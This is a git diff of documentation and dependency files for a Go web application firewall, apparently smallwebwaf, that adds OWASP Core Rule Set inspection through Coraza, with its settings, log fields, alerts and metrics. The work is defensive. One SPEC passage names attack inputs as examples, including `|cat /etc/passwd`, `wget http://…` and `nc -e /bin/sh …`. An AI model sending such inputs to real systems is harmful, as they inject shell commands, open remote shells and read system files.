`SWWAF_LOG_REMOTE_URL` names one (see "Sending the log to a syslog server" below). -- Sends an alert for each ban it makes or makes permanent, for a count over an - anomaly threshold, for a client a blocklist, the CrowdSec decision list, a - DNSBL zone or AbuseIPDB lists, for GeoJS failing, a list it cannot fetch, the - CrowdSec decision list among them, a DNSBL zone or AbuseIPDB that fails or - refuses a query, and the day's AbuseIPDB checks used up, for a rule file or - state file with an error, and for a replacement of the lookup database it - cannot read, holding back repeats and, past an hourly limit, rolling the rest - into one summary, to each destination you name: as a JSON object to the - webhook `SWWAF_ALERT_WEBHOOK_URL` names, as a message to the Slack incoming - webhook `SWWAF_ALERT_SLACK_WEBHOOK_URL` names, and as a message to the ntfy - topic `SWWAF_ALERT_NTFY_URL` names (see "Alerts" below). +- Sends an alert for each ban it makes or makes permanent, for a match of the + Core Rule Set, for a count over an anomaly threshold, for a client a + blocklist, the CrowdSec decision list, a DNSBL zone or AbuseIPDB lists, for + GeoJS failing, a list it cannot fetch, the CrowdSec decision list among them, + a DNSBL zone or AbuseIPDB that fails or refuses a query, and the day's + AbuseIPDB checks used up, for a rule file or state file with an error, and for + a replacement of the lookup database it cannot read, holding back repeats and, + past an hourly limit, rolling the rest into one summary, to each destination + you name: as a JSON object to the webhook `SWWAF_ALERT_WEBHOOK_URL` names, as + a message to the Slack incoming webhook `SWWAF_ALERT_SLACK_WEBHOOK_URL` names, + and as a message to the ntfy topic `SWWAF_ALERT_NTFY_URL` names (see "Alerts" + below). - Counts requests and their bytes over a minute and an hour, per client, per netblock around a client, per AS number, for the whole service and per named netblock, and sends an `anomaly` alert for a count over the anomaly threshold @@ -621,6 +666,37 @@ effective settings are logged at start, unless `SWWAF_LOG_LEVEL` is `warn` or rule files. A directory that does not exist stops the start. - `SWWAF_RULES_ENABLED` (default `true`): `false` reads no rule file, and checks no request against one. +- `SWWAF_WAF_MODE` (default `block`): what the Core Rule Set does with a match: + `block` refuses it with `403`, `detect` lets it through, logged and alerted, + and `off` inspects no request (see "What it does so far" above). +- `SWWAF_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level, + from 1 to 4. Each level up runs more of its rules, which find more attacks and + take more ordinary requests for them. +- `SWWAF_WAF_ANOMALY_THRESHOLD` (default `5`): the anomaly score at which a + request is a match. A rule the Core Rule Set rates critical adds 5, so by + default one such rule is enough. `off` makes no request a match; the scores + are still logged. +- `SWWAF_WAF_DISABLED_RULES` (default + `920340,920420,920440,920640,930130,930140`): the ids of the Core Rule Set's + rules to switch off, such as one that refuses ordinary requests of your app; + the request log names the rules a request matched in `waf_rule_ids`. The + default switches off the rules that refuse a request for the type of its body, + when it is missing or not on the Core Rule Set's short list (920340, 920420, + 920640), for its file extension, such as `.sh` or `.sql` (920440), and for a + file or directory name in its path, such as `.git/`, `.gitignore`, + `Dockerfile`, `package.json` or an editor's settings directory (930130, + 930140). In front of a code forge these refuse git over HTTP, container image + and package uploads, and views of ordinary files in a repository; the default + rule file bans the common probes for such files at the site root instead (see + "Rule files" below). A list given replaces the default, so include them in it; + set but empty, it switches no rule off. An item that is not a whole number + above zero stops the start, as does one from 900000 to 900999, the ids of the + rules that set the Core Rule Set up and of `smallwebwaf`'s own, so that no + setting undoes its changes. The id of no rule switches nothing off. +- `SWWAF_WAF_EXEMPT_PATHS` (default empty): path prefixes whose requests the + Core Rule Set does not inspect, each starting with `/`, matched as + `SWWAF_RATE_LIMIT_EXEMPT_PATHS` matches its own: a request whose path holds + `..`, a backslash or an encoded slash is inspected whatever its prefix. - `SWWAF_TRAP_PATHS` (default empty): paths the app never serves and only scanners ask for, such as `/wp-login.php,/xmlrpc.php` in front of gitea; a request for one bans its client for a clear sign of attack, as a `ban` rule @@ -628,11 +704,12 @@ effective settings are logged at start, unless `SWWAF_LOG_LEVEL` is `warn` or that does not start with `/`, or holds a `?`, which no path a `path` rule sees holds, stops the start. - `SWWAF_ERROR_BURST_THRESHOLD` (default `30`): the most requests of a client in - a minute that `smallwebwaf` may refuse after a rule file match or a trap path, - or for a missing or wrong token; one more breaks the error burst, and bans the - client as a broken rate limit does (see "What it does so far" above). A client - trying one probe or token after another is refused many times a minute, a - person rarely more than a few times. `off` switches it off. + a minute that `smallwebwaf` may refuse after a rule file match, a trap path or + a Core Rule Set match, or for a missing or wrong token; one more breaks the + error burst, and bans the client as a broken rate limit does (see "What it + does so far" above). A client trying one probe or token after another is + refused many times a minute, a person rarely more than a few times. `off` + switches it off. - `SWWAF_LOG_REMOTE_URL` (default unset): a syslog server that every line on stdout is also sent to, as `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port, such as `syslog+tls://logs.example:6514`. Unset or @@ -678,8 +755,7 @@ effective settings are logged at start, unless `SWWAF_LOG_LEVEL` is `warn` or `SWWAF_INSTANCE_NAME`, which ntfy is sent in the title. - `SWWAF_ALERT_EVENTS` (default `ban,permanent_ban,waf_block,anomaly,reputation_hit,source_failure,file_error`): - the events alerts are sent for. `waf_block` comes with the Core Rule Set; - nothing raises it yet. + the events alerts are sent for. - `SWWAF_ALERT_COOLDOWN` (default `15m`): how long a repeat of an alert is held back (see "Alerts" below). - `SWWAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour; @@ -727,8 +803,9 @@ number, in either case. Percentages are whole numbers from 0 to 100, and an entry of a list of them is an AS number or a country, `:` and a percentage; an AS number or a country listed twice in one of them stops the start. `off` switches a timeout, a size limit, a rate limit, a byte limit, an anomaly -threshold, `SWWAF_ERROR_BURST_THRESHOLD`, `SWWAF_ALERT_COOLDOWN` or -`SWWAF_ALERT_MAX_PER_HOUR` off; `SWWAF_IPV6_GROUP_PREFIX`, +threshold, `SWWAF_WAF_ANOMALY_THRESHOLD`, `SWWAF_ERROR_BURST_THRESHOLD`, +`SWWAF_ALERT_COOLDOWN` or `SWWAF_ALERT_MAX_PER_HOUR` off; +`SWWAF_IPV6_GROUP_PREFIX`, `SWWAF_WAF_PARANOIA_LEVEL`, `SWWAF_MAX_TRACKED_CLIENTS`, `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, `SWWAF_LOOKUP_TIMEOUT`, `SWWAF_UNKNOWN_LIMIT_PERCENT`, `SWWAF_BLOCKLIST_REFRESH`, `SWWAF_ABUSEIPDB_MIN_SCORE`, @@ -831,18 +908,19 @@ which every line has. path or the CrowdSec decision list lists its client, each of which bans its client, `country_denied` for one refused for its client's country, `rate_limited` for one that broke a rate limit and banned its client, - `rule_blocked` for one a `block` rule refused, `too_large` for a request or - response over its size limit, `timed_out` for one that ran out of time, - `upstream_error` when the app could not be reached or its answer broke off, - and `admin` for one `smallwebwaf` answered at its own endpoint. + `rule_blocked` for one a `block` rule refused, `waf_blocked` for one the Core + Rule Set refused, `too_large` for a request or response over its size limit, + `timed_out` for one that ran out of time, `upstream_error` when the app could + not be reached or its answer broke off, and `admin` for one `smallwebwaf` + answered at its own endpoint. - `would_action` is there in `observe` mode for a request that `SWWAF_DENY_NETS`, a ban, the country lists, a blocklist, the CrowdSec decision list, a DNSBL zone's verdict, AbuseIPDB's score, a rate limit, a trap - path or a rule would have refused in `enforce` mode, and names the action that - refusal would have had: `denied`, `banned`, `country_denied`, `rate_limited` - or `rule_blocked`. `action` then names what was done: `forward` for a request - passed to the app, and another action, such as `too_large`, for one a size or - time limit refused. + path, a rule or the Core Rule Set would have refused in `enforce` mode, and + names the action that refusal would have had: `denied`, `banned`, + `country_denied`, `rate_limited`, `rule_blocked` or `waf_blocked`. `action` + then names what was done: `forward` for a request passed to the app, and + another action, such as `too_large`, for one a size or time limit refused. - `limit_percent` is there for a request the rate limits count whose client a biased threshold, `SWWAF_BLOCKLIST_ACTION` for a blocklist that lists it, or `SWWAF_REPUTATION_ACTION` for a DNSBL zone whose verdict lists it or an @@ -868,6 +946,12 @@ which every line has. counted before it. - `rule_ids` is there for a request that matched rules of the rule files, and lists their ids in the order they matched, up to the one that refused it. +- `waf_score` is there for a request the Core Rule Set inspected, and gives its + anomaly score, `0` for one no rule matched; `waf_rule_ids` lists the ids of + the rules that matched, in the order they ran, and is left out when none did. + A request is a match when its score is at or over + `SWWAF_WAF_ANOMALY_THRESHOLD`: in `block` mode its `action` is `waf_blocked`, + and in `detect` mode what it would have been otherwise, such as `forward`. - `limit_hit` is there for a request that broke a rate limit or the error burst, or whose bytes broke a byte limit, and names the window whose limit it went over as `counts` names it: `minute`, `hour` or `day` for a rate limit, and @@ -900,7 +984,8 @@ which every line has. - The timings are in milliseconds, to the microsecond. `duration_total` runs from when the request's headers had been read to when its line is written, and `duration_checks` over the same start to when the checks were done; the health - check runs none, and its line has no `duration_checks`. + check runs none, and its line has no `duration_checks`. `duration_waf`, the + part of the checks the Core Rule Set took, is there with `waf_score`. `duration_upstream_connect`, `duration_upstream_first_byte` and `duration_upstream_total` are there for a request passed to the app, and run from when it was handed to the app: until there was a connection to it, new or @@ -960,6 +1045,10 @@ it, as below. An alert is for one of these events, and is sent when clear sign of attack, or a client the CrowdSec decision list lists. - `permanent_ban`: a permanent ban it makes, or a ban for a clear sign of attack that a request made permanent. +- `waf_block`: a request the Core Rule Set scored at or over + `SWWAF_WAF_ANOMALY_THRESHOLD`, in `block` mode, which refused it, and in + `detect` mode, which let it through, with `mode`, `detect`, in its `detail`; + in `observe` mode, `block` refused nothing either, and `mode` is `observe`. - `anomaly`: a count of requests or bytes over an anomaly threshold, raised by each request that ends with the count over it, in `observe` mode as in `enforce` mode. It refuses and bans nothing. @@ -1036,19 +1125,21 @@ is sent on one line: - `client` is the address of the client whose request raised the alert, and `netblock` the netblock of the ban, or for an `anomaly`, the netblock counted: the client's own, the netblock around it or a named netblock, and none for an - AS number or the whole service, or for a `reputation_hit`, the client's own, - as `client_group` gives it; both are empty for `source_failure` and - `file_error`. `asn`, `as_name` and `country` are, for a ban, the client's as - the ban's notes give them when the alert is raised: empty, as in this alert, - when GeoJS had not answered about the client by then; for an `anomaly`, the - client's as the lookup gave them by the time its request ended; for a - `reputation_hit`, the client's as its request's log line gives them. + AS number or the whole service, or for a `reputation_hit` or a `waf_block`, + the client's own, as `client_group` gives it; both are empty for + `source_failure` and `file_error`. `asn`, `as_name` and `country` are, for a + ban, the client's as the ban's notes give them when the alert is raised: + empty, as in this alert, when GeoJS had not answered about the client by then; + for an `anomaly`, the client's as the lookup gave them by the time its request + ended; for a `reputation_hit` or a `waf_block`, the client's as its request's + log line gives them. - `reason` is a short sentence; for a ban, the ban's `reason` in `bans.json`; for an `anomaly`, what was counted over which threshold, such as `requests per minute of the netblock 203.0.113.0/24 over the threshold of 1000`; for a `reputation_hit`, `listed by a blocklist`, `listed by the CrowdSec decision list`, `listed by a DNSBL zone` or - `scored by AbuseIPDB at or over SWWAF_ABUSEIPDB_MIN_SCORE`. + `scored by AbuseIPDB at or over SWWAF_ABUSEIPDB_MIN_SCORE`; for a `waf_block`, + `scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD`. - `detail` is what is particular to the event: for a ban, its `cause`, when it ends as `ban_expires`, in the form the request log gives it, and its `notes`, as `bans.json` gives them; for an `anomaly`, the `scope`, `client`, `net`, @@ -1057,11 +1148,14 @@ is sent on one line: or `hour`, the `kind`, `requests` or `bytes`, the `count`, which is weighted as the rate limits weigh theirs, and the `threshold`; for a `reputation_hit`, the `source`, the URL of the blocklist or of the CrowdSec decision list, the - zone or `abuseipdb`, and for AbuseIPDB the `score`; for `source_failure`, the - `source`, `geojs`, the URL of the list, the zone or `abuseipdb`, the `error`, - and for GeoJS, when it is asked again, `asking_again_in`; for `file_error`, - the `file`, which for an edit set aside is the file it was renamed to, and the - `error`, which for a file that does not parse names where in it the error is. + zone or `abuseipdb`, and for AbuseIPDB the `score`; for a `waf_block`, the + `rule_ids` and the `score`, as the request log gives them, the request's + `method`, its `path` with the query, and the `mode` when the request was not + refused for it; for `source_failure`, the `source`, `geojs`, the URL of the + list, the zone or `abuseipdb`, the `error`, and for GeoJS, when it is asked + again, `asking_again_in`; for `file_error`, the `file`, which for an edit set + aside is the file it was renamed to, and the `error`, which for a file that + does not parse names where in it the error is. - `suppressed_repeats` is how many repeats the cooldown held back before this alert, and for a `summary`, those no other alert gives (see below). @@ -1182,9 +1276,10 @@ with times in UTC. with `401` for a missing or wrong token), the body bytes in each direction, its responses by status class and its offences by kind: `limit` for a broken rate limit, byte limit or error burst, `attack` for a clear sign of attack, - `rule_blocked` for a request a `block` rule refused and `token_refused` for - one refused for a missing or wrong token. Each client is on a line of its own, - so `grep` shows everything about one. + `rule_blocked` for a request a `block` rule refused, `waf_blocked` for one the + Core Rule Set refused and `token_refused` for one refused for a missing or + wrong token. Each client is on a line of its own, so `grep` shows everything + about one. - `lookups.json`: GeoJS's answers, one to a line, each with the client's AS number, AS name and country, when GeoJS gave it and when it was last used. - `reputation.json`: each list fetched from a URL (see "Blocklists" and @@ -1467,15 +1562,18 @@ scraped, and keeps this one as `exported_instance` unless the scrape sets `refusals` for the error burst, whose window is `minute`, `smallwebwaf_size_and_time_limit_hits_total` by `limit`, the setting whose limit was passed, `smallwebwaf_offences_total` by `kind`, `limit`, `attack`, - `rule_blocked` or `token_refused`, as `clients.json` counts them, and - `smallwebwaf_bans_made_total` by `cause`, `limit`, `attack`, `admin` or - `crowdsec`, `admin` for the bans you add through `POST /_smallwebwaf/bans`, + `rule_blocked`, `waf_blocked` or `token_refused`, as `clients.json` counts + them, and `smallwebwaf_bans_made_total` by `cause`, `limit`, `attack`, `admin` + or `crowdsec`, `admin` for the bans you add through `POST /_smallwebwaf/bans`, and those whose `cause` is `admin` that you add to `bans.json` while `smallwebwaf` runs; `smallwebwaf_active_bans` and `smallwebwaf_permanent_bans`, neither of which counts a lifted ban. - `smallwebwaf_rule_matches_total`: the requests that matched each rule, by `rule_id` and `action`, the rule's own; and `smallwebwaf_rules_loaded`: the rules read from the rule files. +- `smallwebwaf_waf_matches_total`: the requests that matched each rule of the + Core Rule Set, whatever their score, by `mode`, `SWWAF_WAF_MODE`, and + `rule_id`, a series for each rule that has matched. - `smallwebwaf_country_requests_total`, `smallwebwaf_country_request_bytes_total`, `smallwebwaf_country_response_bytes_total`, and @@ -1542,8 +1640,7 @@ scraped, and keeps this one as `exported_instance` unless the scrape sets - Go's own `go_` metrics and the process's `process_` metrics. The requests Go's HTTP server ends before `smallwebwaf` sees them (see "Request -log") are not counted. The metrics of the features still to come, such as the -Core Rule Set, come with them. +log") are not counted. ## Admin endpoints @@ -2009,12 +2106,12 @@ addresses sends, so that one client costs at most one check every Only a client whose history counts an offence is checked, so that the checks are spent on suspects: so far, one that has broken a rate limit or a byte limit, -matched a ban rule, or had a request refused by a block rule. A client dropped -from the table of clients loses its history, and with it its offences. A client -is checked in the background, at its first request after its offence that -reaches the check: no request waits, a request refused under its ban is not -checked, and the request that has it checked, and any other from it before the -answer comes, goes on as from a client without a score. +matched a ban rule, or had a request refused by a block rule or the Core Rule +Set. A client dropped from the table of clients loses its history, and with it +its offences. A client is checked in the background, at its first request after +its offence that reaches the check: no request waits, a request refused under +its ban is not checked, and the request that has it checked, and any other from +it before the answer comes, goes on as from a client without a score. A score at or over `SWWAF_ABUSEIPDB_MIN_SCORE`, 75 by default, is a hit, and `SWWAF_REPUTATION_ACTION` says what is done with its client, as for a DNSBL @@ -2116,15 +2213,16 @@ alerts, the metrics nor `reputation.json` hold it. Given as a file, with a ban, for the country lists, for a blocklist, for the CrowdSec decision list, which bans the client, for a DNSBL zone's verdict, for AbuseIPDB's score, for a rate limit, which bans the client, for a trap path, which bans the client, - for a `block` or `ban` rule, the latter banning the client, and for an - announced body over the size limit; in `observe` mode, only for the size - limit, with what it would have refused for noted in the log line. A request - under `/_smallwebwaf/` that `check` lets through is answered by `answerAdmin` - instead of reaching the app. Once the answer to a request passed to the app - has ended, `countBytes` counts its bytes for the byte limits, and once any - request but the health check has ended, `countRefusal` counts it for the error - burst if it was refused after a rule file match or a trap path or for its - token, and `countAnomalies` counts it for the anomaly thresholds. + for a `block` or `ban` rule, the latter banning the client, for a Core Rule + Set match in `block` mode, and for an announced body over the size limit; in + `observe` mode, only for the size limit, with what it would have refused for + noted in the log line. A request under `/_smallwebwaf/` that `check` lets + through is answered by `answerAdmin` instead of reaching the app. Once the + answer to a request passed to the app has ended, `countBytes` counts its bytes + for the byte limits, and once any request but the health check has ended, + `countRefusal` counts it for the error burst if it was refused after a rule + file match, a trap path or a Core Rule Set match or for its token, and + `countAnomalies` counts it for the anomaly thresholds. - `internal/metrics`: the metrics, counted as the other parts tell it what happened, and served in the Prometheus text format. - `internal/bans`: the ban ledger: each netblock's bans with their notes, how @@ -2132,6 +2230,9 @@ alerts, the metrics nor `reputation.json` hold it. Given as a file, with and which ban `smallwebwaf` made is dropped when `SWWAF_MAX_BANS` are held. - `internal/rules`: reads the rule files at start and again as they change, and tells which of their rules a request matches. +- `internal/waf`: the Core Rule Set with the six changes, as Coraza's own + directives, and what it finds in a request's method, URL and headers: the + rules that matched and the anomaly score. - `internal/lookup`: looks up each client's AS number and country through GeoJS, keeps the answers, and hands each new one to the proxy, which adds it to the client's history and to the notes of its bans; or in the lookup database, @@ -2181,8 +2282,10 @@ the ban to drop past `SWWAF_MAX_BANS`, and `github.com/prometheus/client_golang` keeps the metrics and serves them, and `github.com/fsnotify/fsnotify` tells `smallwebwaf` when a state file or a rule file is saved, or the lookup database replaced, and `github.com/oschwald/maxminddb-golang/v2` reads the lookup -database, which the tests write with `github.com/maxmind/mmdbwriter`. The -country codes are the list in `internal/config/config.go`. +database, which the tests write with `github.com/maxmind/mmdbwriter`, and +`github.com/corazawaf/coraza/v3` runs the Core Rule Set 4.25.0, which +`github.com/corazawaf/coraza-coreruleset/v4` at `v4.25.0` carries. The country +codes are the list in `internal/config/config.go`. ## Entrypoints diff --git a/SPEC.md b/SPEC.md index 6edd41a..3751ee5 100644 --- a/SPEC.md +++ b/SPEC.md @@ -618,10 +618,12 @@ The settings, by group: `|cat /etc/passwd`, `wget http://…` and `nc -e /bin/sh …`, and `file:///etc/passwd`, pass as well. Path traversal (`../`), SQL and script injection and PHP, Java and Node.js code are still refused - there, and every other parameter keeps all three rules. An app that - uses one of these parameters as a file on the server, or passes it to - a shell, gets no help from the three rules there (see "Risks the - design has to handle"). + there, and every other parameter keeps all three rules. These names, + and `redirect_uri` in the change before, are matched without regard to + case, as Coraza matches them, so `Path` or `PATH` is treated as + `path`. An app that uses one of these parameters as a file on the + server, or passes it to a shell, gets no help from the three rules + there (see "Risks the design has to handle"). - The Core Rule Set reads the request without the `gitea_flash` and `redirect_to` cookies, and does not check `Referer` for a Unix command given without arguments (932340) or for Java starting a process diff --git a/go.mod b/go.mod index e070cbe..5470c26 100644 --- a/go.mod +++ b/go.mod @@ -3,6 +3,8 @@ module sneak.berlin/go/smallwebwaf go 1.26.0 require ( + github.com/corazawaf/coraza-coreruleset/v4 v4.25.0 + github.com/corazawaf/coraza/v3 v3.8.1 github.com/fsnotify/fsnotify v1.10.1 github.com/hashicorp/golang-lru/v2 v2.0.7 github.com/maxmind/mmdbwriter v1.2.0 @@ -13,12 +15,29 @@ require ( require ( github.com/beorn7/perks v1.0.1 // indirect github.com/cespare/xxhash/v2 v2.3.0 // indirect + github.com/corazawaf/libinjection-go v0.3.3 // indirect + github.com/goccy/go-json v0.10.5 // indirect + github.com/goccy/go-yaml v1.19.2 // indirect + github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect + github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 // indirect + github.com/kaptinlin/go-i18n v0.1.4 // indirect + github.com/kaptinlin/jsonschema v0.4.6 // indirect github.com/kylelemons/godebug v1.1.0 // indirect + github.com/magefile/mage v1.17.0 // indirect github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect + github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect github.com/prometheus/client_model v0.6.2 // indirect github.com/prometheus/common v0.70.1 // indirect github.com/prometheus/procfs v0.21.1 // indirect + github.com/tidwall/gjson v1.18.0 // indirect + github.com/tidwall/match v1.1.1 // indirect + github.com/tidwall/pretty v1.2.1 // indirect + github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect + golang.org/x/net v0.58.0 // indirect + golang.org/x/sync v0.23.0 // indirect golang.org/x/sys v0.48.0 // indirect + golang.org/x/text v0.41.0 // indirect google.golang.org/protobuf v1.36.11 // indirect + rsc.io/binaryregexp v0.2.0 // indirect ) diff --git a/go.sum b/go.sum index f43bc00..58f2e8b 100644 --- a/go.sum +++ b/go.sum @@ -2,22 +2,54 @@ github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc h1:OlJhrgI3I+FLUCTI3JJW8MoqyM78WbqJjecqMnqG+wc= +github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc/go.mod h1:7rsocqNDkTCira5T0M7buoKR2ehh7YZiPkzxRuAgvVU= +github.com/corazawaf/coraza-coreruleset/v4 v4.25.0 h1:tqFO1lfVpTiyWtlN618OXpZMfw+nnN0Q4///W5W+/HM= +github.com/corazawaf/coraza-coreruleset/v4 v4.25.0/go.mod h1:nRuGXITxOPvsLF2VxaTB7pYok8QB8BitX3ZenXcUryY= +github.com/corazawaf/coraza/v3 v3.8.1 h1:dMV55FbMR2vOks/acrT43RShR+VkzU6jwp+XPdxay8o= +github.com/corazawaf/coraza/v3 v3.8.1/go.mod h1:nPVk2JqADYBcKLYvo9cRsr+z4JhanU0WniGhZZBZD6c= +github.com/corazawaf/libinjection-go v0.3.3 h1:NhbXKRfRpqKzBMzv8zpCcnjyEw7BCVhBOv9IPuBl7Fc= +github.com/corazawaf/libinjection-go v0.3.3/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk= +github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0= +github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk= github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho= github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo= +github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4= +github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M= +github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM= +github.com/goccy/go-yaml v1.19.2/go.mod h1:XBurs7gK8ATbW4ZPGKgcbrY1Br56PdM69F7LkFRi1kA= github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= +github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 h1:b70jEaX2iaJSPZULSUxKtm73LBfsCrMsIlYCUgNGSIs= +github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976/go.mod h1:ZGQeOwybjD8lkCjIyJfqR5LD2wMVHJ31d6GdPxoTsWY= +github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 h1:c7gcNWTSr1gtLp6PyYi3wzvFCEcHJ4YRobDgqmIgf7Q= +github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092/go.mod h1:ZZAN4fkkful3l1lpJwF8JbW41ZiG9TwJ2ZlqzQovBNU= github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k= github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM= +github.com/jcchavezs/mergefs v0.1.1 h1:D45R17m6dHnSVZefnhynoeZvcK2Uw0oTrRfoUOQ0S5Y= +github.com/jcchavezs/mergefs v0.1.1/go.mod h1:eRLTrsA+vFwQZ48hj8p8gki/5v9C2bFtHH5Mnn4bcGk= +github.com/kaptinlin/go-i18n v0.1.4 h1:wCiwAn1LOcvymvWIVAM4m5dUAMiHunTdEubLDk4hTGs= +github.com/kaptinlin/go-i18n v0.1.4/go.mod h1:g1fn1GvTgT4CiLE8/fFE1hboHWJ6erivrDpiDtCcFKg= +github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPsI1T64= +github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0= github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk= github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ= github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= +github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM= +github.com/magefile/mage v1.17.0/go.mod h1:Yj51kqllmsgFpvvSzgrZPK9WtluG3kUhFaBUVLo4feA= github.com/maxmind/mmdbwriter v1.2.0 h1:hyvDopImmgvle3aR8AaddxXnT0iQH2KWJX3vNfkwzYM= github.com/maxmind/mmdbwriter v1.2.0/go.mod h1:EQmKHhk2y9DRVvyNxwCLKC5FrkXZLx4snc5OlLY5XLE= +github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM= +github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk= github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA= github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= github.com/oschwald/maxminddb-golang/v2 v2.7.0 h1:ZcAr3GYc2LYC8aec2mCMX9+QOF0EolH3jDFKRV/Z1+U= github.com/oschwald/maxminddb-golang/v2 v2.7.0/go.mod h1:DuKJLbbug6TXC0yJXgs1MWifvXHmudRWzMobMIUu04g= +github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4= +github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY= +github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 h1:Vpr4VgAizEgEZsaMohpw6JYDP+i9Of9dmdY4ufNP6HI= +github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745/go.mod h1:EHPiTAKtiFmrMldLUNswFwfZ2eJIYBHktdaUTZxYWRw= github.com/prometheus/client_golang v1.24.1 h1:JnJkREXzWxUdCuPFpIWZiPispT9xVV59uiuyR2bPlnU= github.com/prometheus/client_golang v1.24.1/go.mod h1:F+oSRECHg4sse5ucfYpYDeIv/hu68Zo0uoHKetWnzcE= github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk= @@ -28,6 +60,15 @@ github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+ github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY= github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE= github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg= +github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY= +github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= +github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA= +github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM= +github.com/tidwall/pretty v1.2.0/go.mod 